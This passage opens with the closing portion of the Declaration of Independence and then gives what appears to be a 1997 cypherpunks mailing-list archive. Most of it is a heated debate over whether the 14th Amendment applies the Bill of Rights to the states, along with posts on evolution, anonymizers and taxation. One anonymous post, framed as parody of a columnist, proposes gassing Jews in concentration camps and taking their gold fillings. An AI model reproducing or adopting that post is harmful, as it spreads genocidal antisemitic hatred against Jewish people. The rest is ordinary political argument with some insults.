Such has been the patient sufferance of these Colonies; and such 
is now the necessity which constrains them to alter their former 
Systems of Government.  The history of the present King of Great 
Britain is a history of repeated injuries and usurpations, all 
having in direct object the establishment of an absolute Tyranny 
over these States.  To prove this, let Facts be submitted to a 
candid world. 
 
     He has refused his Assent to Laws, the most wholesome and 
necessary for the public good. 
 
     He has forbidden his Governors to pass Laws of immediate and 
pressing importance, unless suspended in their operation till his 
Assent should be obtained; and when so suspended, he has utterly 
neglected to attend to them. 
 
     He has refused to pass other Laws for the accommodation of 
large districts of people, unless those people would relinquish 
the right of Representation in the Legislature, a right 
inestimable to them and formidable to tyrants only. 
 
     He has called together legislative bodies at places unusual, 
uncomfortable, and distant from the depository of their public 
Records, for the sole purpose of fatiguing them into compliance 
with his measures. 
 
     He has dissolved Representative Houses repeatedly, for 
opposing with manly firmness his invasion on the rights of the 
people. 
 
     He has refused for a long time, after such dissolutions, to 
cause others to be elected; whereby the Legislative powers, 
incapable of Annihilation, have returned to the People at large 
for their exercise, the State remaining in the meantime exposed 
to all the dangers of invasion from without, and convulsions 
within. 
 
     He has endeavored to prevent the population of these States; 
for that purpose obstructing the Laws for Naturalization of 
Foreigners; refusing to pass others to encourage their migrations 
hither, and raising the conditions of new Appropriations of 
Lands. 
 
     He has obstructed the Administration of Justice, by refusing 
his Assent to Laws for establishing Judiciary Powers. 
 
     He has made Judges dependent on his Will alone, for the 
Tenure of their Offices, and the Amount and Payment of their 
Salaries. 
 
     He has erected a Multitude of new Offices, and sent hither 
Swarms of Officers to harrass our People, and eat o5Ubstance. 
 
     He has kept among us, in Times of Peace, Standing Armies, 
without the consent of our Legislatures. 
 
     He has affected to render the Military independent of and 
superior to the Civil Power. 
 
     He has combined with others to subject us to a Jurisdiction 
foreign to our Constitution, and unacknowledged by our Laws; 
giving his Assent to their Acts of pretended Legislation: 
 
     For quartering large Bodies of Armed Troops among us: 
 
     For protection them, by a mock Trial, from Punishment for 
any Murders which they should commit on the Inhabitants of these 
States: 
 
     For imposing Taxes on us without our Consent: 
 
     For depriving us, in many Cases, of the Benefits of Trial by 
Jury: 
 
     For transporting us beyond Seas to be tried for pretended 
Offences: 
 
     For abolishing the free System of English Laws in a 
neighboring Province, establishing therein an arbitrary 
Government, and enlarging its Boundaries, so as to render it at 
once an Example and fit Instrument for introducing the same 
absolute Rule into these Colonies: 
 
     For taking away our Charters, abolishing our most valuable 
Laws, and altering fundamentally the Forms of our Governments: 
 
     For suspending our own Legislatures, and declaring 
themselves invested with power to legislate for us in all cases 
whatsoever. 
 
     He has abdicated Government here, by declaring us out of his 
Protection and waging War against us. 
 
    He has plundered our seas, ravaged our Coasts, burnt our 
towns, and destroyed the lives of our people. 
 
     He is at this time transporting large Armies of foreign 
Mercenaries to complete the works of death, desolation and 
tyranny, already begun with circumstances of Cruelty and 
perfidity scarcely paralled in the most barbarous ages, and 
totally unworthy (of) the Head of a civilized nation. 
 
     He has constrained our fellow Citizens taken Captive on the 
high Seas to bear Arms against their Country, to become the 
executioners of their friends and Brethren, or to fall 
themselves by their Hands. 
 
     He has excited domestic insurrections amongst us, and has 
endeavored to bring on the inhabitants of our frontiers, the 
merciless Indian Savages, whose known rule of warfare, is an 
undistinguished destruction of all ages, sexes and conditions. 
 
     In every stage of these Suppressions We have Petitioned for 
Redress in the most humble terms.  Our repeated Petitions have 
been answered only by repeated injury.  A Prince, whose character 
is thus marked by every act which may define a Tyrant, is unfit 
to be the ruler of a free people. 
     Nor have we been wanting in attention to our British 
brethren.  We have warned them from time to time of attempts by 
their legislature to extend an unwarrantable jurisdiction over 
us.  We have reminded them of the circumstances of our emigration 
and settlement here.  We have appealed to their native justice 
and magnanimity, and we have conjured them by the ties of our 
common kindred to disavow these usurpations, which would 
inevitably interrupt our connections and correspondence.  They 
too have been deaf to the voice of justice and of consanguinity. 
We must, therefore, acquiesce in the necessity, which denounces 
our Separation, and hold them, as we hold the rest of mankind, 
Enemies in War, in Peace Friends. 
     WE, THEREFORE, The Representatives of the UNITED STATES OF 
AMERICA, in General Congress, Assembled, appealing to the Supreme 
Judge of the world for the rectitude of our intentions, do, in 
the Name, and by Authority of the good People of these Colonies, 
solemnly publish and declare, That these United Colonies are, and 
of Right ought to be FREE AND INDEPENDENT STATES; that they are 
Absolved from all Allegiance to the British Crown, and that all 
political connection between them and the State of Great Britain, 
is and ought to be totally dissolved; and that as Free and 
Independent States, they have full Power to levy War, conclude 
Peace, contract Alliance, establish commerce, and to do all other 
Acts and Things which Independent States may of right do.  And 
for the support of this Declaration, with a firm reliance on the 
protection of divine Providence, we mutually pledge to each other 
our Lives, our Fortunes, and our sacred Honor. 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 11:58:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240358.WAA28187@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sat, 23 Aug 97 22:37:02 -0400
> Subject: Re: Reproductive Rights and State Benefits (fwd)

> >Would you be so kind as to explain exactly what the 14th brings to the
> >table that was not already covered in the original document? We didn't
> >need the 14th and still don't. It was, and still is, a political ploy to
> >get people to willingly (through ignorance) comply with a bunch of
> >schills.
> 
> Nice try but it was you who brought up the 14th in your original reply to
> my message. An intresting debating technique present and argument then
> blame your opponent for brining up that argument.

You're the one trying a straw-man, I was simply asking a question based upon
several comments you have made both in this exchange and in others as well.
It had nothing to do with your original question but rather an attempt on my
part to expand the discussion to include the 14th which it must to be whole.

Or is your view that you are the only party who may bring other issues into
this discussion? Because, my personal opinion is that I don't need your
permission to include other issues in the argument as long as I feel they
are relevant and can justify them.

> Clause 2:  This Constitution, and the Laws of the United States which
> shall be made in Pursuance thereof; and all Treaties made, or which shall
> be made, under the Authority of the United States, shall be the supreme
> Law of the Land; and the Judges in every State shall be bound thereby, any
> Thing in the Constitution or Laws of any State to the Contrary
> notwithstanding. 

> This trumps any argument you have made on this issue so far.

Not really as it clearly states in the first clauses where that authority
comes from and the 10th clearly puts limits on what expansions the courts
and legislature can do with the Constitution. The last clause also clearly
states that the constitutions and laws of any state are not superior (but
does not deny equality as granted in the 10th) to the laws and treaties of
the federal government. The last clause also provides even less reason for
the 14th.

Face it bud, you ain't got a foot to stand on.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 24 Aug 1997 14:21:41 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: When did "Congress" become "States"?
In-Reply-To: <199708240333.WAA10310@mailhub.amaranth.com>
Message-ID: <v03102800b0257f3fd0ae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:04 PM -0700 8/23/97, Mac Norton wrote:
>On Sat, 23 Aug 1997, William H. Geiger III wrote:
>>
>> Well i think that you also have to take into account the political setting
>> of the times. The Framers of the Constitution were representatives of the
>> States all of which had 1st Amendment protections in their State
>> Constitutions. Their concerns were not with the States but with a Federal
>> Government overriding rights already protected by the States.
>
>Perhaps so, but that says nothing about the federal gov't
>enforcing the First Amendment to the US Constitution against
>the states, irrespective of the provisions of their constitutions
>or other laws.  It is a difficult thing to get from "Congress
>shall make no law" to "No gov't anywhere in this country
>shall make any law," but we've managed to do it, probably to
>our credit on the whole.

I don't find it surprising. Besides the more recent, and of course more
heavily relied upon, "equal protection" language of the 14th, I think
another important factor is this: states admitted to the Union were
expected to adhere to and uphold the U.S. Constitution, and Congress even
scrutinized states for evidence of this compliance.

(And a clue comes from the oaths of office taken by officials in _all_
states, so far as I know: they swear to uphold the U.S. Constitution. Now
how well they do this, and whether they adhere to the original intent, is
open for discussion. Still, food for thought.)

In looking over some search engine returns on this issue, I was drawn to
the various religious freedom decisions, such as Epperson v. Arkansas.
Here's one summary (from http://www.natcenscied.org/courtdec.htm)

"Epperson v. Arkansas: In 1968, the United States Supreme court invalidated
an Arkansas statute that prohibited the teaching of evolution.
The Court held the statute unconstitutional on grounds that the First
Amendment to the U.S. Constitution does not permit a state to require
that teaching and learning must be tailored to the principles or
prohibitions of any particular religious sect or doctrine. (Epperson v.
Arkansas
(1968) 393 U.S. 97, 37 U.S. Law Week 4017, 89S. Ct. 266, 21 L. Ed 228) "

How much of this decision was based on the 14th Amendment, and how much on
other grounds?

I think I'll look into look into this, as it's an interesting issue of just
when the "Congress shall make no law" evolved into "states shall make no
laws."

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PyroDaft@aol.com
Date: Sun, 24 Aug 1997 12:06:17 +0800
To: Cypherpunks@toad.com
Subject: Mailing list
Message-ID: <970823235047_924507634@emout14.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I want to be on your mailing list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 13:09:56 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Reproductive Rights and State Benefits
In-Reply-To: <199708240333.WAA10310@mailhub.amaranth.com>
Message-ID: <Pine.SOL.3.96.970823235828.1728A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 23 Aug 1997, William H. Geiger III wrote:
> 
> Well i think that you also have to take into account the political setting
> of the times. The Framers of the Constitution were representatives of the
> States all of which had 1st Amendment protections in their State
> Constitutions. Their concerns were not with the States but with a Federal
> Government overriding rights already protected by the States.

Perhaps so, but that says nothing about the federal gov't 
enforcing the First Amendment to the US Constitution against
the states, irrespective of the provisions of their constitutions
or other laws.  It is a difficult thing to get from "Congress 
shall make no law" to "No gov't anywhere in this country 
shall make any law," but we've managed to do it, probably to
our credit on the whole.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 13:17:39 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240347.WAA28140@einstein.ssz.com>
Message-ID: <Pine.SOL.3.96.970824000835.1728B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 23 Aug 1997, Jim Choate wrote:
> If accepted as fact this provides even less reason for the 14th. As it
> clearly does not prevent federal rights over-riding state rights.

Jeez, it's too late to conduct Con Law Seminar 701, but focus
on "liberty" in the 14th Amendment as transfering the Bill Of
Rights, or most of it, to govern the states as well.  OK?
Cause that's the SCt's view of it, and as I've said, it seems
to work reasonably well, reagardless of the chinks in the logic.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 06:38:38 +0800
To: cypherpunks@toad.com
Subject: Save the Children!
Message-ID: <199708232221.AAA18686@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



FROM MOUNTAIN HIGH MEDIA
    THIS WASN'T *RELEASED*, IT *ESCAPED*
    THE HITLERTARIAN, By Adolph Suprynowicz
	I know how to Save the Children!

According to my calculations, if we put all of the Jews in concentration
camps, pull out their gold fillings, gas and bury them, there will be
enough money left over to feed all of the starving children in the
world.
I am counting on your support in launching this enterprise. You *are*
in favor of Saving the Children, aren't you?

Next Week:
  Using Drug Profits to Save the Whales!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 13:28:19 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240526.AAA28542@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 24 Aug 1997 00:04:51 -0500 (CDT)
> From: Mac Norton <mnorton@cavern.uark.edu>
> Subject: Re: Reproductive Rights and State Benefits

> Perhaps so, but that says nothing about the federal gov't 
> enforcing the First Amendment to the US Constitution against
> the states, irrespective of the provisions of their constitutions
> or other laws.  It is a difficult thing to get from "Congress 
> shall make no law" to "No gov't anywhere in this country 
> shall make any law," but we've managed to do it, probably to
> our credit on the whole.

If that was what he had it would truly be great, unfortunately we don't have
that. What we DO have is the feds and the state governments doing everything
they can to get around limitations such as this. In effect we have exactly
the opposite of your supposition.

The fed's are currently deciding on just exactly how federal employees can
express their religous beliefs. Do you really think the founding fathers
were so stupid that they wouldn't have thought of this if their intent
was to truly prevent any government from enacting such laws?

 
				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 
 
 
If you really believe what you state above I have a few of questions:

[well actualy I have a lot of questions, but it would be pressing the
 point I suspect]

 *  How does the federal government justify their limitations on the
    Native American Church or the Coptic Church when federal laws
    relating to religion are clearly prohibited?

 *  If we truly have freedom of speech and the fed's respect that,
    just exactly who passed the CDA?

 *  If we truly have freedom of speech and the fed's respect that,
    why is the fight for strong encryption being fought so hard?

 *  If we truly have freedom of press AND the feds are the only agency
    per the Constitutio to regulate inter-state commerce then how can
    one state arrest citizens of another state when the 'crime' in
    state of the accussed isn't a crime?

 *  Why has the federal government NEVER passed a law detailing the
    process we may use to petition the government for greivences? It
    clearly is not meant as a reference to the courts.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 13:30:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240529.AAA28585@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 24 Aug 1997 00:11:52 -0500 (CDT)
> From: Mac Norton <mnorton@cavern.uark.edu>
> Subject: Re: Reproductive Rights and State Benefits (fwd)

> On Sat, 23 Aug 1997, Jim Choate wrote:
> > If accepted as fact this provides even less reason for the 14th. As it
> > clearly does not prevent federal rights over-riding state rights.
> 
> Jeez, it's too late to conduct Con Law Seminar 701, but focus
> on "liberty" in the 14th Amendment as transfering the Bill Of
> Rights, or most of it, to govern the states as well.  OK?
> Cause that's the SCt's view of it, and as I've said, it seems
> to work reasonably well, reagardless of the chinks in the logic.

Unfortunately neither does the 14th respect any right, only immunities
and privileges (which clearly are not rights since they can both be
revoked by the granting agency) but it doesn't work because it allows
the feds to intrude in areas they were not meant to be involved in.

The original Constitution already had a clause applying the Constitution
and all laws derived from it to the states and preventing judges or other
agencies from bypassing them. So, given that such extensions were already
in place just what does the 14th do?


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 24 Aug 1997 16:05:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: lack of evolutionary pressures
Message-ID: <3.0.32.19970824005637.00b63b18@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>(And not even the infamous "But what if _all_ smart and educated people
>thought this way?" applies. First, what Adam or Tim or Blanc does about
>having children will not affect the decisions of others. [...]
...........................................................


I look up, startled - what; me, worry?  <g>

There are actually quite a lot of "determining factors" which do not affect
the decisions of others.  For instance, the Constitution of the U.S., or
good genes from one's ancestors.    A lot of people read, but do not
appreciate the meaning of, the Constitution.   Too many depend upon it to
determine the choices on what is right or wrong about government activity,
without considering the reasoning behind the document or without applying
their own reasoning to its meaning.

Humans are pretty complicated, fragile creatures and there are many things
which will affect our success or lifespan; unforseen elements can overwhelm
ones's biological system (like an AID virus) or one's circumstance, (like
encounters with Nature - unexpected floods, forest fires, tornadoes, etc.).
   Many things which we do to ourselves will weaken us - taking drugs,
malnourishment,  incorrect responses to events which challenge our
psychological makeup, etc.

These discussions on evolutionary pressures, genomes, the intelligence
passed on through genes, all reference things which have been given to one,
given in the past, given to a passive creature at a time when they exercise
no influence in their own existence (i.e., at the time of conception).

There is a factor being left out of these discussions as if it didn't exist
or had no influence, and that is the particular individual who is in the
act of living their given Life.   That person must maintain a rightful
state of mind which can understand the requirements of their own existence.
   

Although people may receive benefits of all kinds, they may yet fail to
live a successful life:   some people grow up in rich families and end up
drug addicts living in the street.  Many people are super intelligent (at
least in school) but seem to have no wisdom of judgement, making very
unwise decisions which affect their success (the latest big-name killer
Cunnanan comes to mind.   He was credited for being brilliant; he took
drugs and this influenced his mental state, but that in itself was an
unwise, self-defeating thing to do).   

A person's decisions, their self-advancing or self-defeating responses to
life's exigencies, also determine the direction & quality of a their life,
not only what they have been given by others.   One thing which can't be
passed on very well (yet) is the *desire* to live on a certain plane of
"intelligent" life, once one has it.   

(And who appreciates so well the struggle to stay on such a high level
plane?  Sometimes there's a lot of "pressure" to evolve in the future, but
not much empathy with efforts in the present.)


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 14:03:35 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240529.AAA28585@einstein.ssz.com>
Message-ID: <Pine.SOL.3.96.970824005606.1898C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 24 Aug 1997, Jim Choate wrote:
> 
> The original Constitution already had a clause applying the Constitution
> and all laws derived from it to the states and preventing judges or other
> agencies from bypassing them. So, given that such extensions were already
> in place just what does the 14th do?

Well, quite a bit actually, as interpreted by the SCt.  It makes
many, perhaps all, of the Bill of Rights prohibitions on Congress
applicable to state gov'ts as well.  Art. VI, to which I think
you refer, does not do so of its own accord.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Sun, 24 Aug 1997 04:08:13 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: Re: US DoC on anonymizer
In-Reply-To: <m0x1zyQ-0003bFC@ulf.mali.sub.org>
Message-ID: <199708240112.BAA00582@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Ulf =?iso-8859-1?Q?M=F6ller?= wrote:

> http://www.ntia.doc.gov/ntiahome/speeches/licomnet_101496.htm

>  "A Vision of Tomorrow: Using Technology to Empower, Not to Control"

>    We also endorse the use of technology to give privacy protection. For

Ah! The holy sanction.  

>    instance, individuals can use filtering technologies that read rating
>    tags and block those that fail to achieve a desired level of privacy.
>    PICS technology is being adapted to screen out Web sites that do not
>    adhere to a specified level of privacy protection. Another example is

What does this exactly mean? 

>    the "anonymizer," which assigns an anonymous identity to a user and
>    allows the user to shield personal information from Web sites that he
>    or she visits.

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 14:31:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240628.BAA28727@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 24 Aug 1997 00:58:55 -0500 (CDT)
> From: Mac Norton <mnorton@cavern.uark.edu>
> Subject: Re: Reproductive Rights and State Benefits (fwd)

> Well, quite a bit actually, as interpreted by the SCt.  It makes
> many, perhaps all, of the Bill of Rights prohibitions on Congress
> applicable to state gov'ts as well.  Art. VI, to which I think
> you refer, does not do so of its own accord.

* From the original Constitution:

Section 1.  Full Faith and Credit shall be given in each State to the 
public Acts, Records, and judicial Proceedings of every other State. And 
the Congress may by general Laws prescribe the Manner in which such Acts, 
Records and Proceedings shall be proved, and the Effect thereof. 
 
Section 2.  The Citizens of each State shall be entitled to all Privileges 
and Immunities of Citizens in the several States. 

Section 4.  The United States shall guarantee to every State in this Union 
a Republican Form of Government, and shall protect each of them against 
Invasion; and on Application of the Legislature, or of the Executive (when 
the Legislature cannot be convened) against domestic violence. 
 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 

* The 14th:

			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 
 
Sections 2-5 deleted

* Now please be so kind as to explain the following:

-  Where in the 14th does it mention the Bill of Rights or apply them
   to the states in such a manner that is not done in the original
   Constitution?

-  Why does the last section of the last item prior to my quote of the
   14th not apply said Bill of Rights since it is clearly a part of the
   Constitution and worded much stronger than the 14th?

-  Why does section 2 above not apply considering it is copied practicaly
   word for word in the 14th and clearly equates the states under federal
   law? Especialy since the wording of section 2 is much stronger than
   the wording of the 14th?

-  Section 4 above clearly equates the states and a citizens expectation
   of equal protection under the law, how does the 14th extend this?

-  Section 1 does something even stronger than 'equal protection' as it
   forces recognition and support of each states laws by the other states
   even if a given state makes a law that makes an action in one state
   a crime in another, how does the 14th add anything to this?

-  Is your claim that the rulings of the SCt apply to citizens instead
   of being the final arbiter for government agencies? If so, how can
   this be considering that the SCt can't instigate any legal actions
   on its own but must act in a reactive manner?

-  And finaly, why should we as citizens accept the rulings of the SCt
   as the final word since we and not the federal government are the
   ones granting the power to govern? Add to this that Constitutionaly
   the role of the SCt is to limit Congress and not the citizenry.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 14:42:50 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240358.WAA28187@einstein.ssz.com>
Message-ID: <199708240641.BAA12327@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708240358.WAA28187@einstein.ssz.com>, on 08/23/97 
   at 10:58 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Sat, 23 Aug 97 22:37:02 -0400
>> Subject: Re: Reproductive Rights and State Benefits (fwd)

>> >Would you be so kind as to explain exactly what the 14th brings to the
>> >table that was not already covered in the original document? We didn't
>> >need the 14th and still don't. It was, and still is, a political ploy to
>> >get people to willingly (through ignorance) comply with a bunch of
>> >schills.
>> 
>> Nice try but it was you who brought up the 14th in your original reply to
>> my message. An intresting debating technique present and argument then
>> blame your opponent for brining up that argument.

>You're the one trying a straw-man, I was simply asking a question based
>upon several comments you have made both in this exchange and in others
>as well. It had nothing to do with your original question but rather an
>attempt on my part to expand the discussion to include the 14th which it
>must to be whole.

>Or is your view that you are the only party who may bring other issues
>into this discussion? Because, my personal opinion is that I don't need
>your permission to include other issues in the argument as long as I feel
>they are relevant and can justify them.

>> Clause 2:  This Constitution, and the Laws of the United States which
>> shall be made in Pursuance thereof; and all Treaties made, or which shall
>> be made, under the Authority of the United States, shall be the supreme
>> Law of the Land; and the Judges in every State shall be bound thereby, any
>> Thing in the Constitution or Laws of any State to the Contrary
>> notwithstanding. 

>> This trumps any argument you have made on this issue so far.

>Not really as it clearly states in the first clauses where that authority
>comes from and the 10th clearly puts limits on what expansions the courts
>and legislature can do with the Constitution. The last clause also
>clearly states that the constitutions and laws of any state are not
>superior (but does not deny equality as granted in the 10th) to the laws
>and treaties of the federal government. The last clause also provides
>even less reason for the 14th.

>Face it bud, you ain't got a foot to stand on.

<sigh> I have yet presented an argument for nor against the need for the
14th Amendment. This has been your own private one man circle jerk.

The position I presented was that the States do not have the power to deny
its citizens the rights protected under the Constitution of the United
States and the Bill of Rights. Rather than debate the validity of this
position you have conjured up this irrelevant issue of wether or not the
14th Amendment was/is needed.

Whenever you sober-up and come back down to reality we can debate the
issue at hand.


FWIIW I do not believe that the 14th Amendment was needed IMHO as the
rights of the citizens were guaranteed under previous articles of the
Constitution. Once again taking into account the political climate after
the civil war the Congress felt that this needed to be more clearly spelt
out via the 14th amendment in an effort to insure that the recently freed
blacks received the same protections under the law as the rest of the
citizens (13th & 15th Amendments were of similar nature).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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XJ2rRi6s1OM=
=b9io
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Sun, 24 Aug 1997 04:34:28 +0800
To: kent@songbird.com
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <19970821224859.24682@bywater.songbird.com>
Message-ID: <199708240144.BAA00616@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----

Kent Crispin wrote:

> On Fri, Aug 22, 1997 at 12:40:29AM +0000, Vipul Ved Prakash wrote:
> > Kent Crispin wrote:
> > 
> > > > But the ability of a herd to take a vote, real or alleged, will not be
> > > > sufficient to collect tribute from those who don't want to make the
> > > > contribution freely.
> > 
> > > Note another characteristic of cult thinking -- total separation of
> > > the illuminati from the "herd" -- the idea that the "chosen" are
> > > irrevocably different from those other unfortunate creatures that
> > > accidentally share the same physical form. 
> > 
> > the idea is that the "competent" (not "chosen") are irrevocably different 
> > from those other "incompetent and parasitical" (and not "unfortunate") 
> > creatures that accidentally share the same physical form.

> And how is it that one knows that one is "competent"?

A law to collect "tribute" money will be supported by people who 
want to leech "competent" value producers of thier property. 
A collection of such incompetent parasites is a "herd" 
in the current context. On the other hand a collection of 
good value producer who dont want to live of other people and 
dont approve of a law that enforces such a behaviour is the "competent". 

Though, to identify competent from incompetent, is quite besides 
the point. Collection of any tribute money at a point of a gun, 
is a bad thing and is ethically wrong. I want call it
"cult" thinking. Its a simple _objective_ law that
ensures freedom of choice. And one has to identify it and 
learn to respect it. 

best,
Vipul

one has to identify and act accordingly if want to live 
peacefully. 
- -- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces

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DUi0swt64w4=
=x0wK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 14:57:30 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240628.BAA28727@einstein.ssz.com>
Message-ID: <Pine.SOL.3.96.970824014238.1898H-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



